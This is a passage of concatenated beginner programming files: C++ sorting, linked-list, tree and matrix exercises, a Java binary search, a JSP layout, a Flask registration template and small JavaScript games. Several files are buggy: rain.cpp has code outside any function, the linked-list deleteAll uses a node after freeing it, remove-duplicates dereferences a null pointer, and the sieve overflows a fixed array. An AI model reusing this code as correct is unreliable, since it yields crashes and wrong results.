
    cout << "\nDistance from " << start << " to every node \n";
    vector<int> dist = dijkstra(adj, n, start).first;
    for (auto x : dist)
        cout << x << " ";
    cout << endl;

    cout << "\n Shortest path from " << start << " till " << end << " \n";
    vector<int> path = findShortestPath(adj, start, end, n);
    for (int i = 0; i < path.size(); i++)
        cout << path[i] << " ";
    cout << endl;
}

<|start_filename|>CPP/STL_UnorderedMap.cpp<|end_filename|>
#include <iostream> 
#include <unordered_map> 
using namespace std; 
  
int main() 
{ 
    unordered_map<string, int> umap; 
  
    umap["GeeksforGeeks"] = 10; 
    umap["Practice"] = 20; 
    umap["Contribute"] = 30; 
  
    for (auto x : umap) 
      cout << x.first << " " << x.second << endl; 
  
} 


<|start_filename|>CPP/Data Structures/Trees/Binary Trees/binaryTress.cpp<|end_filename|>
#include <iostream>
using namespace std;
#include <queue>
#include <cstdlib>
#include "binaryTreeNode.h"

binarynode <int> * takeInput(){ // level wise input
    cout << "Enter the root data : ";
    int rootData;
    cin >> rootData;
    binarynode <int> * root = new binarynode<int>(rootData);
    queue <binarynode<int>*> q1;
    q1.push(root);
    while(q1.size() != 0){
        binarynode <int> * front = q1.front();
        q1.pop();
        cout << "Enter the left child of " << front -> data << " : ";
        cin >> rootData;
        binarynode <int> * leftChild = (rootData != -1) ? new binarynode<int>(rootData) : NULL;
        cout << "Enter the right child of " << front -> data << " : ";
        cin >> rootData;
        binarynode <int> * rightChild = (rootData != -1) ? new binarynode<int>(rootData) : NULL;
        front -> left = leftChild;
        front -> right = rightChild;
        if (leftChild != NULL) q1.push(leftChild);
        if (rightChild !=NULL) q1.push(rightChild);
    }
    return root;
}

void printTree(binarynode <int> * root){
    if (root == NULL) return;
    cout << root -> data << " : ";
    if (root -> left != NULL){
        cout << "L " <<  root -> left -> data << " , ";
    }
    if (root -> right != NULL){
        cout <<  "R " <<root -> right -> data << " ";
    }
    cout << endl;
    printTree(root -> left);
    printTree(root -> right);
}

int height(binarynode <int> * root){ // cn way, better way infact the best way
    if (root == NULL) return 0;
    return 1 + max(height(root -> left), height(root -> right));
}

int countNoOfNodes(binarynode <int> * root){ // well done
    if (root == NULL) return 0;
    int count = 1; // on account of root node
    count += countNoOfNodes(root -> left) + countNoOfNodes(root -> right);
    return count;
}

int main (){
    binarynode <int> * root = takeInput();
    printTree(root);
    cout << "Height of the tree is : " << height(root);
    return 0;
}

<|start_filename|>CPP/Data Structures/math/seive_of_eratosthenes.cpp<|end_filename|>
#include<bits/stdc++.h>
using namespace std;

int main()
{
    int n;
    cout<<"enter the number till which you want to find the prime number";
    cin>>n;
    int prime[100];
    for(int i=0;i<=n;i++)
    {
        prime[i]=1;
    }
    prime[0]=0;
    prime[1]=0;
        for(int i=2;i<sqrt(n);i++)
        {
            if(prime[i]==1)
            {
                for(int j=2;i*j<=n;j++)
                {
                    prime[i*j]=0;
                }
            }
        }
    for(int i=0;i<=n;i++)  
    {
        if(prime[i]==1)
        cout<<i<<" is prime"<<endl;
        else
        cout<<i<<" is not a prime number"<<endl;
    }
}
 

<|start_filename|>DSA/Notes and examples/insertionsort.cpp<|end_filename|>
//insert element from unsorted array to its correct postion in sorted array
#include <iostream>
using namespace std;

void insertionSort()
{
  int i,j,current;
  int arr[]={10,2,3,4,5};
  
  for(i=1;i<5;i++)
  {
      current=arr[i];
      j=i-1;
      while(arr[j]>current && j>=0)
      {
          arr[j+1]=arr[j];
          j--;
      }
      arr[j+1]=current;
  }
  
  cout<<"sorted array:\n";
  for(i=0;i<5;i++)
  cout<<arr[i]<<" \n";
}


int main() {
    int arr[]={10,2,3,4,5};
    // int i,j,temp;
    cout<<"given array is:\n";
    for(int i=0;i<5;i++)
    cout<<arr[i]<<" \n";
    insertionSort();
    return 0;
}


<|start_filename|>Java_Backend/JSPLoginForm/src/main/webapp/WEB-INF/decorators/layout.jsp<|end_filename|>
<%@ taglib prefix="decorator" uri="http://www.opensymphony.com/sitemesh/decorator" %>
<%@ include file="/common/taglibs.jsp"%>
<html>
<head>
  <title><decorator:title default="Address Book Demo" /></title>

  <link rel="stylesheet" type="text/css" href="${ctx}/css/vendor/bootstrap.css" />
  <link rel="stylesheet" type="text/css" href="${ctx}/css/vendor/todc-bootstrap.css" />
  <link rel="stylesheet" type="text/css" href="${ctx}/css/vendor/todc-select2.css" />
  <link rel="stylesheet" type="text/css" href="${ctx}/css/app/global.css" />

  <script type="text/javascript" src="${ctx}/js/vendor/jquery-1.9.1-min.js"></script>
  <script type="text/javascript" src="${ctx}/js/vendor/select2.js"></script>
  <script type="text/javascript" src="${ctx}/js/app/app.js"></script>

  <decorator:head/>
</head>
<body<decorator:getProperty property="body.id" writeEntireProperty="true"/><decorator:getProperty property="body.class" writeEntireProperty="true"/>>

<div class="navbar navbar-inverse navbar-fixed-top">
  <div class="navbar-inner">
    <div class="container-fluid">
      <a class="brand"><fmt:message key="app.name" /></a>
      <div class="nav-collapse collapse">
        <ul class="nav pull-right">
          <li>
            <a class="logged-in-user">
              <sec:authorize access="isAuthenticated()">
                <sec:authentication property="principal.username" />
              </sec:authorize>
            </a>
          </li>
          <li class="divider-vertical"></li>
          <li>
            <sec:authorize access="isAuthenticated()">
              <a href="<c:url value="/logout"/>"><fmt:message key="topbar.logout"/></a>
            </sec:authorize>
            <sec:authorize access="isAnonymous()">
              <a href="<c:url value="/login"/>"><fmt:message key="topbar.login"/></a>
            </sec:authorize>
          </li>
        </ul>
      </div>
    </div>
  </div>
</div>

<decorator:body />

<div class="ft">
  <span class="copyright"><fmt:message key="app.copyright"/></span>
  <span class="app"><fmt:message key="app.name"/> (build <fmt:message key="app.buildNumber"/>)</span>
</div>

</body>
</html>


<|start_filename|>CPP/remove_duplicates_sorted.cpp<|end_filename|>
#include<iostream>
using namespace std;

struct node{
    int data;
    struct node *next;
};

void sort(struct node* head_ref){
    struct node* curr=head_ref;
    while(curr!=NULL){
        if(curr->data==curr->next->data){
            curr->next=curr->next->next;
        }
        curr=curr->next;
    }
}

void push(struct node** head_ref,int num){
    struct node* newnode=(struct node*)malloc(sizeof(struct node));
    newnode->data=num;
    newnode->next=(*head_ref);
    *head_ref=newnode;
}

void print(struct node* head){
    struct node* temp=head;
    while(temp!=NULL){
        printf("%d->",temp->data);
        temp=temp->next;
    }
    printf("\n");
}

int main(){
    struct node* head=NULL;
    push(&head,68);
    push(&head,68);
    push(&head,42);
    push(&head,42);
    push(&head,20);
    push(&head,20);

    print(head);
    sort(head);
    print(head);

}

<|start_filename|>Python/Sakha/Sakha/templates/users/register.html<|end_filename|>
{% extends 'others/layout.html' %}
{% block stylesheet %}
<link rel="stylesheet" href="{{url_for('static', filename='css/register.min.css')}}">
{% endblock stylesheet %}

{% block body %}
<main class="form--main">

    <form method="post" class="form" autocomplete="off">
        {{form.hidden_tag()}}

        <legend>Register</legend>

        <div class="form__name__group">
            <div class="form__group">
                {{form.firstname.label}}
                {{form.firstname(placeholder="Enter Firstname")}}
                {% if form.firstname.errors %}
                {% for error in form.firstname.errors %}
                <span>{{error}}</span>
                {% endfor %}
                {% endif %}
            </div>

            <div class="form__group">
                {{form.lastname.label}}
                {{form.lastname(placeholder="Enter Lastname")}}
                {% if form.lastname.errors %}
                {% for error in form.lastname.errors %}
                <span>{{error}}</span>
                {% endfor %}
                {% endif %}
            </div>
        </div>

        <div class="form__group">
            {{form.username.label}}
            {{form.username(placeholder="Enter an Username")}}
            {% if form.username.errors %}
            {% for error in form.username.errors %}
            <span>{{error}}</span>
            {% endfor %}
            {% endif %}
        </div>

        <div class="form__group">
            {{form.email.label}}
            {{form.email(placeholder="Enter Email Address")}}
            {% if form.email.errors %}
            {% for error in form.email.errors %}
            <span>{{error}}</span>
            {% endfor %}
            {% endif %}
        </div>

        <div class="form__gender__group">
            {{form.gender.label}}
            {{form.gender}}
            {% if form.gender.errors %}
            {% for error in form.gender.errors %}
            <span>{{error}}</span>
            {% endfor %}
            {% endif %}
        </div>

        <div class="form__group">
            {{form.password.label}}
            <div class="password__field">
                {{form.password(placeholder="Enter Password")}}
                <i class="fa fa-eye"></i>
            </div>   
            {% if form.password.errors %}
            {% for error in form.password.errors %}
            <span>{{error}}</span>
            {% endfor %}
            {% endif %}
        </div>

        <div class="form__group">
            {{form.reenter_password.label}}
            {{form.reenter_password(placeholder="<PASSWORD>")}}
            {% if form.reenter_password.errors %}
            {% for error in form.reenter_password.errors %}
            <span>{{error}}</span>
            {% endfor %}
            {% endif %}
        </div>

        <div class="form__submit__group">
            {{form.submit}}
        </div>

        <p class="login__link__section">
            Have an account,
            <a href="{{url_for('login')}}" class="login__link">login</a>
            folk
        </p>

    </form>
   

</main>
{% endblock %}

{% block script %}
<script>

    /*********************To show or hide password**********************/
    const password = document.querySelector('.password__field input')
    const eyeIcon = document.querySelector('.password__field .fa-eye');
    let tracker = true;

    eyeIcon.addEventListener('click', () => {
        if(tracker) {
            password.type="text";
            eyeIcon.classList.add('fa-eye-slash');
            tracker = false;
        }
        else {
            password.type="password";
            eyeIcon.classList.remove('fa-eye-slash');
            tracker = true;
        }
    });

    /********************To prevent default refreshing when client submit the form********************/
    // const form = document.querySelector('.form');
    // form.addEventListener('submit', e => e.preventDefault());

</script>
{% endblock %}

<|start_filename|>CPP/Data Structures/math/nth_term_of_gp.cpp<|end_filename|>
// { Driver Code Starts
//Initial Template for C++

#include<bits/stdc++.h>
using namespace std;


 // } Driver Code Ends
//User function Template for C++

class Solution{
    public:
        //Complete this function
    double termOfGP(int A,int B,int N)
    {
        //Your code here
        //n th term = first term X common ration^(n-1);
        return  A*pow((B/(double)A),N-1);
    }
};

// { Driver Code Starts.


int main()
{
    int T; //testcases total
    cin>>T;//input the testcases

    for(int i=0;i<T;i++) //white testcases are not exhausted
    {
        int A,B;
        cin>>A>>B; //input first and second term of gp
        int N;
        cin>>N; //input n
        Solution ob;
        cout<<floor(ob.termOfGP(A,B,N))<<endl;
    }

    return 0;
}

  // } Driver Code Ends

<|start_filename|>CPP/To check given word is pallindrome or not.cpp<|end_filename|>
//To check given word is pallindrome or not

#include<bits/stdc++.h>
using namespace std;

int main()
{
    
int l;
cin>>l;

char arr[l+1];
cin>>arr;

int c=0;

for(int i=0;i<l/2;i++)
{
    if(arr[i]!=arr[l-1-i])
    {
        c++;
        break;
    }
}

if(c>0)
cout<<"number is not pallindrome";

else
cout<<"number is pallindrome";

return 0;
}


<|start_filename|>Linear_Search.c<|end_filename|>
// C code to linearly search x in arr[].
// If x is present then return its location, otherwise return -1

#include <stdio.h>

int search(int arr[], int n, int x)
{
	int i;
	for (i = 0; i < n; i++)
		if (arr[i] == x)
			return i;
	return -1;
}

int main(void)
{
	int arr[] = { 2, 36, 4, 15, 40 };
	int x = 4;
	int n = sizeof(arr) / sizeof(arr[0]);

	// Function call
	int result = search(arr, n, x);
	(result == -1)
		? printf("Element is not present in array")
		: printf("Element is present at index %d", result);
	return 0;
}


<|start_filename|>hexclock/js/main.js<|end_filename|>
var clock = document.getElementById('clock');
var hexColor = document.getElementById('hex-color');

function hexClock() {
    var time = new Date();
    var hours = time.getHours().toString();
    var minutes = time.getMinutes().toString();
    var seconds = time.getSeconds().toString();

    if(hours.length < 2) {
        hours = '0' + hours;
    }

    if(minutes.length < 2) {
        minutes = '0' + minutes;
    }

    if(seconds.length < 2) {
        seconds = '0' + seconds;
    }

    var clockStr = hours + ' : ' + minutes + ' : ' + seconds;
    var hexColorStr = '#' + hours + minutes + seconds;

    clock.textContent = clockStr;
    hexColor.textContent = hexColorStr;

    document.body.style.backgroundColor = hexColorStr;
}

hexClock();
setInterval(hexClock, 1000);

<|start_filename|>DSA/Notes and examples/inbuilt_sort.cpp<|end_filename|>
#include <iostream>
#include<algorithm>
using namespace std;
int main() {
    int a[]={10,2,4,5};
    cout<<"given array:"<<endl;
    for(int i=0;i<4;i++)
    {
        cout<<a[i]<<endl;
    }

    sort(a,a+4);
    cout<<"sorted array:"<<endl;
    for(int i=0;i<4;i++)
    {
        cout<<a[i]<<endl;
    }
}



<|start_filename|>DSA/STL/rain.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
int main() {
    int n;
    cin>>n;
    int a[n];

    for(int i=0;i<n;i++)
    cin>>a[i];

    vector<int>left(n,0);
    vector<int>right(n,0);
    left[0]=a[0];
    right[n-1]=a[n-1];

    for(int i=1;i<n;i++)
    {
        left[i]=max(left[i-1],a[i]);
        right[n-i-1]=max(right[n-i],a[n-i-1]);
    }

}

 //calc height of water
    int height=0;
    for(int i=1;i<n;i++)
    height+=min(left[i],right[i])-v[i];
    cout<<height;

<|start_filename|>DSA/Special Matrices/TriDiagonalMatrix.cpp<|end_filename|>
//Tri-Diagonal Matrix
//As the name suggests, tri-Diiagonal Matrix is a Matrix such that only its three mid-Digaonals have non-zero values
//So no of non-zero elements in tri Diagonal Matrix = n +  n-1  + n-1 = 3*n -2,
//where n = size of the matrix
//In short we can describe it as following : m[i, j] != 0 if |i-j| <= 1
//Let's Code

#include <iostream>

using namespace std;

class triDiagonal{
    private:
    int size;
    int *ele;

    public:
    triDiagonal(int n){
        this->size = n;
        ele = new int[3*n - 2];
    }
    void set(int i, int j, int x);
    int get(int i, int j);
    void Display();
    ~triDiagonal(){delete [] ele;}
};


void triDiagonal :: set(int i, int j, int x){
    if(i - j <= 1 && i - j >= -1){
        if(i < j) ele[i-2] = x;
        else if(i ==j) ele[size -1 + i -1] = x;
        else if(i >= j) ele[2*size - 1 + i - 1] = x;
    }
}

int triDiagonal :: get(int i, int j){
    if(i - j <= 1 && i-j >= -1){
        if(i < j) return ele[i-2];
        else if(i == j) return ele[size - 1 + i -1];
        else if(i >= j) return ele[2*size - 1 + i -1];
    }
    return 0;
}

void triDiagonal :: Display(){
    for(int i=1; i <= size; i++){
        for(int j =1; j <= size; j++){
            int data = 0;
            if(i -j >= -1 && i-j <= 1){
                if(i < j) data = ele[i-2];
                else if(i == j) data = ele[size - 1 + i -1];
                else if(i >= j) data = ele[2*size -1 + i -1];
            }
            printf("%-3d", data);
        }
        cout << endl;
    }
}

int main(){
    int size;
    cout << "Enter the size of the TriBand Matrix : ";
    cin >> size;
    triDiagonal tri(size);

    cout << endl;
    cout << "Enter the Elements and the indices of the TriDiagonal Matrix : \n";
    int i, j, x;
    for(int k=0; k < 3* size - 2; k++){
        cin >> i >> j >> x;
        tri.set(i, j, x);
    }
    
    cout << endl;
    tri.Display();
    cout << endl << endl;
    int choice = 1;
    while(choice){
        printf("Enter the Element indices you want to search for : ");
        cin >> i >> j;
        printf("Element at index %d,%d = %d\n", i, j, tri.get(i, j));
        cout << "Do you want to continue to search. Press 1 for Y, 0 for N : ";
        cin >> choice;
        if(choice == 0) exit(0);
    }
    return 0;
}


<|start_filename|>Gamble Game/script.js<|end_filename|>
'use strict';

// Selecting elements
const name0Player = document.querySelector('#name--0');
const name1Player = document.querySelector('#name--1');
const bidBtn = document.querySelector('.bid-btn');
const player0El = document.querySelector('.player--0');
const player1El = document.querySelector('.player--1');
const score0El = document.querySelector('#score--0');
const score1El = document.querySelector('#score--1');
const current0El = document.getElementById('current--0');
const current1El = document.getElementById('current--1');
const diceEl = document.querySelector('.dice');
const btnNew = document.querySelector('.btn--new');
const btnRoll = document.querySelector('.btn--roll');
const btnHold = document.querySelector('.btn--hold');
const overlay = document.querySelector('.overlay');
const modal = document.querySelector('.modal');
const closeModal = document.querySelector('.close-modal');

// Modals Implementation

const modalClose = function () {
  modal.classList.add('hidden');
  overlay.classList.add('hidden');
};

closeModal.addEventListener('click', modalClose);

bidBtn.addEventListener('click', function () {
  name0Player.textContent = document.querySelector('#player-name-0').value;
  name1Player.textContent = document.querySelector('#player-name-1').value;

  modalClose();
});

//Starting conditions
score0El.textContent = 0;
score1El.textContent = 0;
diceEl.classList.add('hidden');

let scores = [0, 0];
let currentScore = 0;
let activePlayer = 0;

const switchPlayer = function () {
  document.getElementById(`current--${activePlayer}`).textContent = 0;
  player0El.classList.toggle('player--active'); //Remove class if it's there otherwise it'll add
  player1El.classList.toggle('player--active');
  activePlayer = activePlayer === 0 ? 1 : 0;
  currentScore = 0;
};

// Rollinf=g dice functionality
btnRoll.addEventListener('click', function () {
  // 1. Generating a random dice roll
  const dice = Math.ceil(Math.random() * 6);

  // 2. Display dice
  diceEl.classList.remove('hidden');
  diceEl.src = `dice-${dice}.png`;

  // 3. Check for rolled 1: if true, switch to next player
  if (dice !== 1) {
    // Add dice to current score
    currentScore += dice;
    document.getElementById(`current--${activePlayer}`).textContent =
      currentScore;
  } else {
    // Switch Player
    switchPlayer();
  }
});

btnHold.addEventListener('click', function () {
  // 1. Add curent score to active player score
  scores[activePlayer] += currentScore;
  document.querySelector(`#score--${activePlayer}`).textContent =
    scores[activePlayer];

  // 2. Player Won
  if (scores[activePlayer] >= 100) {
    document
      .querySelector(`.player--${activePlayer}`)
      .classList.add('player--winner');
    document
      .querySelector(`.player--${activePlayer}`)
      .classList.remove('player--active');
    btnHold.style.visibility = 'hidden';
    btnRoll.classList.add('hidden');
    diceEl.classList.add('hidden');
  } else {
    // 3. Switch Player
    switchPlayer();
  }
});

// We can use playing = true and put btnRoll function inside if and when somebody wins change playing = false
// Then there will be no need to change visibility of buttons

btnNew.addEventListener('click', function () {
  btnHold.style.visibility = 'visible';
  btnRoll.classList.remove('hidden');
  player0El.classList.remove('player--winner');
  player1El.classList.remove('player--winner');
  player0El.classList.add('player--active');
  player1El.classList.remove('player--active');
  score0El.textContent = 0;
  score1El.textContent = 0;
  current0El.textContent = 0;
  current1El.textContent = 0;
  //If you want to implement whichever player won last should start game then
  //just remove activePlayer = 0
  activePlayer = 0;
  currentScore = 0;
  scores = [0, 0];
});


<|start_filename|>CPP/SortingTechniques/BucketSort.c<|end_filename|>
//Bin/Bucket Sort
//Bin/Bucket Sort is similar to Count Sort except that instead of storing the count of occurrences, it stores
//each of the occurrence as a seperate node within the Array in form of a linked list at specified position.
//Time Complexity : O(n)
//Space Compplexity : O(m+n) = O(n)
//where m = max element in Array  & n = size of the array

#include <stdio.h>
#include <stdlib.h>
#define INT_MIN -32768

typedef struct Node{
    int data;
    struct Node *next;
}Node;

Node* Insert(Node *p, int x)
{
    Node *first = p;
    Node *t = (Node*)malloc(sizeof(struct Node));
    t->data = x;
    t->next = NULL;
    if(p == NULL){
        p = t;
        first = t;
    }else{
        while(p->next) p = p->next;
        p->next = t;
        p = p->next;
    }
    return first;
}

Node* Delete(Node *first){
    if(first == NULL) return NULL;
    Node *p = first;
    first = first->next;
    int x = p->data;
    free(p);
    return first;
}

int Front(Node *first)
{
    if(first) return first->data;
    return -1;
}

int Max(int A[], int n)
{
    int max = INT_MIN;
    for(int i=0; i <n; i++)
    {
        if(A[i] > max)
            max = A[i];
    }
    return max;
}

void BucketSort(int A[], int n)
{
    int max = Max(A, n);
    Node **C = (Node**)malloc((max+1)*sizeof(Node*));

    for(int i=0; i < max+1; i++) C[i] = NULL;//intialization
    for(int i=0; i < n; i++) C[A[i]] = Insert(C[A[i]], A[i]); // Insertion

    int i=0, j=0;
    while(j < max + 1)
    {
        if(C[j])
        {
            A[i++] = Front(C[j]);
            C[j] = Delete(C[j]);
        }
        else
            j++;
    }
}


int main()
{
    int A[] = {6, 3, 9, 10, 15, 6, 8, 12, 3, 6};
    int n = sizeof(A)/sizeof(A[0]);

    BucketSort(A, n);
    //Display
    printf("Sorted : ");
    for(int i=0; i < n; i++)
        printf("%d ", A[i]);
    printf("\n");
    return 0;
}

<|start_filename|>CPP/3-way Merge Sort.cpp<|end_filename|>
// C++ Program to perform 3 way Merge Sort
#include <bits/stdc++.h>
using namespace std;

/* Merge the sorted ranges [low, mid1), [mid1,mid2)
and [mid2, high) mid1 is first midpoint
index in overall range to merge mid2 is second
midpoint index in overall range to merge*/
void merge(int gArray[], int low, int mid1,
		int mid2, int high, int destArray[])
{
	int i = low, j = mid1, k = mid2, l = low;

	// choose smaller of the smallest in the three ranges
	while ((i < mid1) && (j < mid2) && (k < high))
	{
		if(gArray[i] < gArray[j])
		{
			if(gArray[i] < gArray[k])
			{
				destArray[l++] = gArray[i++];
			}
			else
			{
				destArray[l++] = gArray[k++];
			}
		}
		else
		{
			if(gArray[j] < gArray[k])
			{
				destArray[l++] = gArray[j++];
			}
			else
			{
				destArray[l++] = gArray[k++];
			}
		}
	}

	// case where first and second ranges
	// have remaining values
	while ((i < mid1) && (j < mid2))
	{
		if(gArray[i] < gArray[j])
		{
			destArray[l++] = gArray[i++];
		}
		else
		{
			destArray[l++] = gArray[j++];
		}
	}

	// case where second and third ranges
	// have remaining values
	while ((j < mid2) && (k < high))
	{
		if(gArray[j] < gArray[k])
		{
			destArray[l++] = gArray[j++];
		}
		else
		{
			destArray[l++] = gArray[k++];
		}
	}

	// case where first and third ranges have
	// remaining values
	while ((i < mid1) && (k < high))
	{
		if(gArray[i] < gArray[k])
		{
			destArray[l++] = gArray[i++];
		}
		else
		{
			destArray[l++] = gArray[k++];
		}
	}

	// copy remaining values from the first range
	while (i < mid1)
		destArray[l++] = gArray[i++];

	// copy remaining values from the second range
	while (j < mid2)
		destArray[l++] = gArray[j++];

	// copy remaining values from the third range
	while (k < high)
		destArray[l++] = gArray[k++];
}


/* Performing the merge sort algorithm on the
given array of values in the rangeof indices
[low, high). low is minimum index, high is
maximum index (exclusive) */
void mergeSort3WayRec(int gArray[], int low,
					int high, int destArray[])
{
	// If array size is 1 then do nothing
	if (high - low < 2)
		return;

	// Splitting array into 3 parts
	int mid1 = low + ((high - low) / 3);
	int mid2 = low + 2 * ((high - low) / 3) + 1;

	// Sorting 3 arrays recursively
	mergeSort3WayRec(destArray, low, mid1, gArray);
	mergeSort3WayRec(destArray, mid1, mid2, gArray);
	mergeSort3WayRec(destArray, mid2, high, gArray);

	// Merging the sorted arrays
	merge(destArray, low, mid1, mid2, high, gArray);
}

void mergeSort3Way(int gArray[], int n)
{
	// if array size is zero return null
	if (n == 0)
		return;

	// creating duplicate of given array
	int fArray[n];

	// copying alements of given array into
	// duplicate array
	for (int i = 0; i < n; i++)
		fArray[i] = gArray[i];

	// sort function
	mergeSort3WayRec(fArray, 0, n, gArray);

	// copy back elements of duplicate array
	// to given array
	for (int i = 0; i < n; i++)
		gArray[i] = fArray[i];
}

// Driver Code
int main()
{
	int data[] = {45, -2, -45, 78, 30,
				-42, 10, 19, 73, 93};
	mergeSort3Way(data,10);
	cout << "After 3 way merge sort: ";
	for (int i = 0; i < 10; i++)
	{
		cout << data[i] << " ";
	}
	return 0;
}

// This code is contributed by <NAME>


<|start_filename|>CPP/merge_sort_LL.cpp<|end_filename|>
#include <bits/stdc++.h>
using namespace std;
 
struct node
{
    int data;
    struct node* next;
};
struct node *head=NULL;

struct node *SortedMerge(struct node *a,struct node *b){
    	struct node *result=NULL;
        struct node *temp;

        if(a==NULL){
            return b;
        }
        if(b==NULL){
            return a;
        }
        if(a&&b){
            if(a->data <= b->data){
                temp=a;
                a=temp->next;
            }
            else{
                temp=b;
                b=temp->next;
            }
        }
        result=temp;
        while(a&&b){
            if(a->data <= b->data){
                temp->next=a;
                temp=a;
                a=temp->next;
            }
            else{
                temp->next=b;
                temp=b;
                b=temp->next;
            }
        }
        if(a==NULL)
            temp->next=b;
        if(b==NULL)
            temp->next=a;

        return result;
}

void FrontBackSplit(struct node *head,struct node **a,struct node**b){
    struct node *fast;
    struct node *slow;

    if(head==NULL||head->next==NULL){
        *a=head;
        *b=NULL;
    }
    else{
        slow=head;
        fast=head->next;

        while(fast!=NULL){
            fast=fast->next;
            if(fast!=NULL){
                slow=slow->next;
                fast=fast->next;
            }
        }
        *a=head;
        *b=slow->next;
        slow->next=NULL;
    }
}
void mergeSort(struct node** headRef){
    struct node* head=*headRef;
    struct node *a;
    struct node *b;

    //Base Case -- length 0 or 1
    if((head==NULL)||(head->next==NULL)){
        return;
    }

    FrontBackSplit(head,&a,&b);

    mergeSort(&a);
    mergeSort(&b);

    *headRef=SortedMerge(a,b);
}


void displayLLD(struct node *head){
    struct node *temp=head;
    while(temp!=NULL){
        printf("%d->",temp->data);
        temp=temp->next;
    }
    printf("NULL\n");
}

void insertAtBegin(int value){
    struct node *temp=(struct node*)malloc(sizeof(struct node));
    temp->data=value;
    if(head==NULL){
        head=temp;
        temp->next=NULL;
        return;
    }
    temp->next=head;
    head=temp;
}

int main(){
    int n;
    cin>>n;

    int x;
    for(int i=0;i<n;i++){
        cin>>x;
        insertAtBegin(x);
    }
    printf("Linked List\n");
    displayLLD(head);
    mergeSort(&head);
    printf("Merge Sorted Linked List\n");
    displayLLD(head);
}

<|start_filename|>Java/binarySearchQuestion/firstAndLast.java<|end_filename|>
package com.binarySearchQuestion;

import java.util.Arrays;
// https://leetcode.com/problems/find-first-and-last-position-of-element-in-sorted-array/
public class firstAndLast {
    public static void main(String[] args) {
        int [] nums ={1,22,22,44,55,55,55};
        int target = 55;
        int [] arr = searchRange(nums,target);
        System.out.println(Arrays.toString(arr));
    }
    static public int[] searchRange(int[] nums, int target) {
        int [] ans ={-1,-1};
        int start = search(nums,target,true);
        int end = search (nums,target,false);
        ans[0] = start;
        ans[1] = end;
        return ans;

    }
    static int search(int[] nums,int target,boolean first){
        int ans = -1;
        int s = 0;
        int e = nums.length-1;

        while(s<=e){
            int mid = s + (e-s)/2;
            if(target<nums[mid]){
                e = mid-1;
            }if(target>nums[mid]){
                s = mid+1;
            }else if(target==nums[mid]){
                ans = mid;
                if(first){
                    e = mid-1;
                }else{
                    s = mid+1;
                }
            }

        }
        return ans;
    }
}




<|start_filename|>CPP/singlylinkedlist-menuprog.cpp<|end_filename|>
#include <iostream>

using namespace std;

class Node{
    public:
        int data;
        Node *next;

        ~Node(){
            cout << "Node : " << data << " removed" << endl;
        }
};

// Functions that require the pointer to the object only
bool isEmpty(Node *head){
    if(head == NULL){
        return true;
    }
    else{
        return false;
    }
}

void printList(Node *head){
    Node *temp = head;
    if(isEmpty(head)){
        cout << "List is empty" << endl;
    }
    for(int i = 0; temp != NULL; i++){
        if(temp->next == NULL){
            cout << temp->data;
            temp = temp->next;
        }
        else{
            cout << temp->data << " -> ";
            temp = temp->next;
        }
    }
    cout << endl;
}

Node* get_tail(Node *head){
    Node* temp_node;
    temp_node = head;
    while(temp_node->next != NULL){
        temp_node = temp_node->next;
    }
    return temp_node;
}

void deleteAll(Node **head){
    Node *temp = *head;
    for(int i = 0; temp != NULL; i++){
        Node *temp_t = temp;
        delete(temp);
        temp = temp_t->next;
    }
    *head = NULL;
}

void insert_after(int data, Node *head){
    // Search node
    int new_data;
    cout << "Enter value of the new node:" << endl;
    cin >> new_data;

    // if head is null
    if(isEmpty(head)){
        cout << "List is empty" << endl;
        return;
    }

    Node *temp_node = head;
    for(int i = 0; temp_node != NULL; i++){
        if(temp_node->data == data){
            // Found the node 

            // Storing the next node
            Node *next_node = temp_node->next;

            // Creating node
            Node *new_node = new Node();

            // Putting the next node on the new node 
            new_node->next = next_node;

            // Data of the new_node
            new_node->data = new_data;

            // the current node needs its next to be updated
            temp_node->next = new_node;
        }
        temp_node = temp_node->next;
    }
}

void index(int data, Node *head){
    Node *temp_node = head;
    
    // check if list is empty
    if(isEmpty(head)){
        cout << "List is empty" << endl;
        return;
    }

    bool found = false;
    int index = 0;
    while(temp_node != NULL){
        if(temp_node->data == data){
            found = true;
            cout << "Found it at: " << index << endl;
            return;
        }
        index++;
        temp_node = temp_node->next;
    }
}

// Require the reference of the pointer storing the pointer to the object
void init_list(Node **head){
    Node* temp_node = NULL;
    int data;
    int size;

    cout << "Enter the size of the list " << endl;
    cin >> size;

    cout << "Enter the node 1" <<endl;
    cin >> data;
    (*head) = new Node();
    (*head)->data = data;

    temp_node = *head;

    for(int i = 1; i < size; i++){
        Node *temp = new Node();
        cout << "Enter the node " << i+1 << endl;
        cin >> data;

        // updating the new node with data
        temp->data = data;
        temp->next = NULL;

        // Updating the previous node
        temp_node->next = temp;

        // changing the temp_node
        temp_node = temp;
    }
}


void push_front(Node **head){
    // if empty
    if(isEmpty(*head)){
        Node *newNode = new Node();
        newNode->next = NULL;
        cout << "Enter the data of new node:" << endl;
        cin >> newNode->data;
        *head = newNode;
        return;
    }
    
    Node *next_to_head;
    // Copying head to the next element of the new head
    next_to_head = *head;

    // creating a new head
    Node *new_head = new Node();
    int data;
    cout << "Enter the data of the new node: " << endl;
    cin >> data;
    
    new_head->data = data;
    new_head->next = next_to_head;
    *head = new_head;
}

void push_back(Node **head){

    // if list empty
    if(isEmpty(*head)){
        Node *new_head = new Node();
        int data;
        cout << "Enter the data of the new node: " << endl;
        cin >> data;
        new_head->data = data;
        new_head->next = NULL;
        *head = new_head;
        return;
    }

    Node *tail_node = get_tail(*head);
    Node *new_node = new Node();
    
    int data;
    cout << "Enter the new node data" << endl;
    cin >> data;
    
    new_node->data = data;
    tail_node->next = new_node;
}

void insert_before(int data, Node **head){
    // insert node before the node with data
    int new_data;
    cout << "Enter value of the new node:" << endl;
    cin >> new_data;

    Node *temp_node = *head;
    Node *prev_node = NULL;

    // if head is null
    if(isEmpty(*head)){
        cout << "List is empty" << endl;
        return;
    }

    // if the data is in the head
    if((*head)->data == data){
        // push front
        push_front(head);
        return;
    }
    for(int i = 0; temp_node != NULL; i++){
        if(temp_node->data == data){
            // Found the node
            // Creating node
            Node *new_node = new Node();

            // Putting the next node on the new node
            new_node->next = temp_node;
            
            // Data of the new_node
            new_node->data = new_data;

            // the previous node needs its next to be updated
            prev_node->next = new_node;
        }
        prev_node = temp_node;
        temp_node = temp_node->next;
    }    
}

void delete_head(Node **head){
    Node *nextNode = (*head)->next;
    delete(*head);
    *head = nextNode;
}

void delete_tail(Node **head){
    Node *temp_node = *head;
    Node *prev_node = NULL;

    // if head is the tail
    if(temp_node->next == NULL){
        delete(temp_node);
